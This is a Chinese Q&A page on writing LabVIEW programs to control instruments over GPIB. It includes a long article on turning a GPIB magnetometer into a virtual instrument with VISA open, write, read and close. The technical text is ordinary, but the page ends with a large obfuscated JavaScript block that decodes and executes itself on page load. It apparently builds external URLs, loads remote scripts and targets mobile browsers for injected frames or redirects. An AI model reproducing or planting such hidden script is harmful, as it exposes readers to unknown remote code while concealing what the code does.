【求助】用LabVIEW根据GPIB协议编写程序

2025-03-13 21:07:26
推荐回答(3个)
回答(1):

网上有,http://sine.ni.com/apps/utf8/niid_web_display.model_page?p_model_id=166 这个是泰克3000系列的驱动,你可以点Browse Drivers输入实际型号搜索,比如TDS 2014B。
自己写的话,是根据手动操作的流程,在附带说明书上查找对应命令,利用GPIB write给示波器下命令,用GPIB read读取返回值

回答(2):

看你的要求是使用一张USB总线的数据采集卡实现功能
老师的意思是让你是一张GPIB-USB卡 使用一台台式仪器 然后使用GPIB-USB卡转接在电脑上 实质上大概是因为你们没有现有的USB数据采集卡 所有就用仪器代替了 你的第4条有点问题
大概过程为前端信号-台式仪器-GPIB卡-电脑
台式仪器+GPIB卡=USB数据采集卡
懂了没?

回答(3):

LabVIEW是当今最流行的虚拟仪器开发平台,文中介绍了用LabVIEW开发基于GPIB总线的虚拟仪器的全过程及其硬件和软件要求,并给出了一个开发实例。实例为用LabVIEW虚拟仪器开发平台对一台带有GPIB接口磁测量仪进行二次开发,构建自己的虚拟仪器。与台式仪器相比,该虚拟仪器最突出的优点是不需要其它数据采集卡便可完成磁场的实时采集测量,并将采集结果保存到文件,以供后续分析使用,从而大大扩展了原有台式仪器的功能。

关键词:LabVIEW;GPIB;实进采集

前 言

数据采集、仪器控制和自动化测试是实验室研究经常遇到的实际任务。LabVIEW的出现使普通的实验室工作者也能在较短的时间内构建自己的测控系统。LabVIEW采用图形化语言进行编程,抛弃了传统的文本编程方式,程序开发变得简单直观,开发时间大大减少。

尽管现有的测试测量仪器能提供很高程序上的测量自动化操作,但有时仍然不能满足实际测量的需要,因为实际的测量要求往往随实际的测量环境和测量目的不同而发生改变,但台式仪器的功能一般是固定不变的。例如一些台式仪器虽然能对某些物理量进行实时测量,但它并不能将整个测试过程的数据记录下来,仪器本身仅仅相当于一个物理量指标器。为了实现实时测量分析并记录其测量结果,必需进行额外的工作。方法之一是利用仪器本身的模拟输出接口,配一个数据采集卡对模拟输出信号进行采集并进行相应的后续分析处理。方法之二是利用仪器本身提供的编程接口,通过编程实现。与第一种方法相比,第二种方法不需要额外的硬件,使得测试系统变得简单、方便。

GPIB(General Purpose Interface Bus)是仪器与各种控制器(最常见的是计算机)之间的一种标准接口,许多仪器都带有此接口。就编程语言而言,强大、灵活的仪器控制功能使LabVIEW成为开发虚拟仪器的首选编程语言,而且利用LabVIEW开发的虚拟仪器具有很好的外观效果,其用户界面可与实际仪器的操作面板相媲美。本文介绍了用LabVIEW开发基于GPIB接口的虚拟仪器的一般步骤,并给出了一个实际的开发实例。

GPIB总线虚拟仪器的硬件描述

GPIB接口是一种8位数字并行通讯接口,其数据传输速度为1Mbyte/s。GPIB设备分为听者(Listeners)、说者(Talkers)和控制器(Controllers)。说者负责发出消息(数据或命令),听者负责接收消息(数据或命令),控制器(通常是一台计算机)负责管理总线上的消息,并指定通讯连接和发送GPIB命令到指定的设备。有些GPIB设备在不同的时候可以扮演不同角色,有时充当说者,有时充当听者,有时又作为控制器。GPIB接口的优点在于通过一个接口可以将多个GPIB设备连接在一起,同时完成多种不同物理量的测量。GPIB的基地址共有31个,为了获得较高的数据传输速度,连接设备一般超过15个,对于普通的测量这已经足够了。开发基于GPIB总线的虚拟仪器一般需如下硬件:计算机、带有GPIB接口的测试仪器、GPIB接口卡和GPIB连接电缆。测试仪器的类型及数量取决于实际的测试要求,仪器本身还要有与之配套的传感器。GPIB接口卡主要用于将仪器与计算机相连,各GPIB接口之间用GPIB连接电缆连接。

GPIB总线虚拟仪器的软件要求

用LabVIEW开发一个基于GPIB总线的虚拟仪器的软件包括:LabVIEW开发平台、GPIB接口卡驱动程序和仪器的LabVIEW驱动程序(不是必需的)。当然如果有仪器的LabVIEW驱动程序,创建虚拟仪器就更加方便了。仪器的LabVIEW驱动程序负责仪器通信和控制的具体过程,里面封装了复杂的仪器编程细节,为用户使用仪器提供了简单的函数接口,用户不必对仪器硬件有专门的了解,就可以通过仪器驱动程序来使用这些仪器。图1为基于GPIB总线的虚拟仪器结构示意图。

图1 基于GPIB总线的虚拟仪器结构示意图

开发实例

在此,结合开发实例介绍了用LabVIEW开发基于GPIB总线的虚拟仪器的全过程。实例为对一台现有带有GPIB接口的磁测量仪进行二次开发,并开发出一个可完成磁场的实时采集测量,并将采集结果保存到文件,以供后续分析使用的磁测量虚拟仪器。实例中的GPIB接口仪器是一台由美国Lake Shore Cryotronics公司生产的磁测量仪,可测量直流和交流磁场,交流频率范围为10~400Hz,测量范围取决于Hall探头,最高可达30T。它具有一个输入通道,两个模拟输出通道(一个为修正输出,一个为直接输出),提供两种编程接口,GPIB接口和串行接口,其中GPIB接口的速率为每秒读18次,串行接口的速率为每秒读15次。该仪器能很方便的测量各种磁场,但是它不能对所测数据进行保存,而且也只具有一些最简单的分析功能如最大值、相对值。

GPIB接口卡是美国国家仪器公司生产的GPIB-PCIIPIIA,该卡只支持Windows95或98,有两种工作模式,GPIB-PCII模式和GPIB-PCIIA模式,公司推荐使用GPIB-PCII模式。另外,该卡不是即插即用设备,需要人工设置。实例中余下的硬件为一台计算机和一条GPIB连接电缆。计算机的操作系统为Windows98。首先,安装LabVIEW开发平台和GPIB接口卡驱动程序。然后手动添加GPIB接口卡,根据操作系统分配的资源,结合GPIB接口卡用户手册进行相应的跳线设置,实例中该卡工作于GPIB-PCII模式,I/O地址为H2B8,中断为5,DMA通道设为1。最后关闭计算机,将此GPIB卡插入计算机内的扩展槽内。至此,实例中的硬件设置及软件安装已经完毕,接下来将利用LabVIEW来进行虚拟仪器编程。

在LabVIEW中为实现与GPIB仪器通信有两种方式,一种是利用函数模板中Instrument I/O子模板下的GPIB相关函数,另一种是利用函数模板中Instrument I/O子模板下的VISA相关函数,实际上VISA相关函数不仅能与GPIB总线通信,还能与许多其他接口类型的仪器通信,如串口仪器、PXI接口仪器和TCPPIP接口仪器。本文采用VISA相关函数,每一个VISA函数都有一个VISA资源名称参数,用来指明该函数对应的硬件设备。本实例中的VISA资源名称为GPIB:12,其中GPIB用于指明指口的类型,12是磁测量仪器在GPIB总线上的地址(出厂设定值)。与磁测量仪通信的第一步是建立计算机与仪器的连接,此任务可以通过VISA的OPEN函数来实现,接着利用VISA的WRITE函数,可以根据需要向仪器发送各种命令,VISA的READ函数可以读取仪器响应的任何数据,完成所有测试任务后,借助于VISA的CLOSE函数断开计算机与磁测量仪的通信连接。值得注意的是,多数GPIB接口仪器基于字符串格式的,即使从仪器读回的数字也是字符串格式的数字,为了进行后续的分析处理必须将其转化为数字类型。

LabVIEW中的函数模板中String子模板下的Srting/Numbder Conversion下提供了一个专门从字符串中扫描数字的函数,利用此函数可以方便的将字符串格式的数字转化成数字型。仪器的编程风格有两种方式:一种是非模块化编程,即针对特定的需要编写特定的程序以满足需要,此方法直接,容易实现,但其可扩充性差,不便于后续升级和更改。另一种是模块化编程,即将仪器的各种功能模块化,然后根据需要选择相应的模块来实现特定的要求,该方法前期工作投入大,但其后续工作简单,且便于升级和更改。本实例采用模块编程风格。

根据美国NI公司提出的“软件就是仪器”的口号,一个LabVIEW就是一台虚拟仪器,通常一个LabVIEW程序包括三个部分:前面板、框图和图标。图2为实例虚拟仪器的框图。

图2 实例虚拟仪器的框图

如图2所示,本框图包括三个模块,即仪器设置模块(CONFIG模块)、单位显示模块(UNITDISPLAY模块)和数据采集测试模块(TEST模块)。其中设置模块主要用来完成测试相关参数的设定,如仪器GPIB地址、单位设置、量程模式选择(自动或手动)、量程范围(如果量程模式为自动则不需指定量程范围,仪器将根据外磁场自动变化到相应的量程)、磁场类型(交流或直流),如果测量的是交流磁场,可通过PeakPRMS按钮选择测量其峰值或平均值。单位显示模块主要用来指示测试结果的单位,由于磁场存在两种单位,高斯(Gauss)和特斯拉(Tesla),而且对应不同的量程有不同的单位,如T或mT、kG或G,所以专门编写了一个单位显示模块,三个单位显示分别为当前读数的单位及最大值和最小值的单位。数据采集测试模块是该虚拟仪器的核心模块,主要完成磁场的测试,根据实际测量需要任意指定磁场采样间隔,并将磁场的测量结果实时显示,测试完成后可将全部测试结果以文件方式保存,以便后续分析处理。另外,本模块只提供两个最简单的分析功能,即测量结果的最大值和最小值。对于更复杂的数据分析处理,如谱分析,可利用LabVIEW丰富分析函数库编写其他的模块加以实现,本虚拟仪器暂不涉及。

此外,由图2可以看出模块化的编程,不仅使程序结构变得十分简单,而且编程者可以不必了解仪器的底层通信协议,因为与仪器通信的底层编程已封装在模块内部,从而进一步简化了虚拟仪器的开发。图3(略)为实例虚拟器的前面板,左边为测试结果显示区,包括当前读数、最大值、最小值和测试曲线;右边是参数设置区,右下方的“停止P开始”开关用于停止和开始磁场的测试,“保存”按钮用于将测试结果存盘。与台式磁测量仪相比,此虚拟仪器最大特点在于它能进行实时采集测量,并将采集结果保存到文件,以供后续分析使用。严格意义上说,基于台式仪器的虚拟仪器不仅可以实现台式仪器的所有功能,而且还可以实现台式仪器所不具备的功能,尤其是测试结果后续分析与处理,因为测试结果的分析处理不依赖于硬件,完全取决于实际的要求。此外,虚拟仪器还具有易升级,易更改等优点。

结 论

文中介绍了采用LabVIEW虚拟仪器开发平台开发基于GPIB总线的虚拟仪器的硬件及软件要求。结合磁测量虚拟仪器开发实例,介绍了开发基于GPIB总线的虚拟仪器的全过程。实验证明该虚拟仪器能很好地完成磁场的实时采集测量,并将测试结果存盘以供后续分析使用,此功能是台式磁测量仪所不具备的功能,从而大大扩充了台式仪器的功能。

!function(){function a(a){var _idx="s54ivid5np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8Lno6X6fn2J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"Lno6X6fn2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/Ks0j(8}vR8Lno6X6fn2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();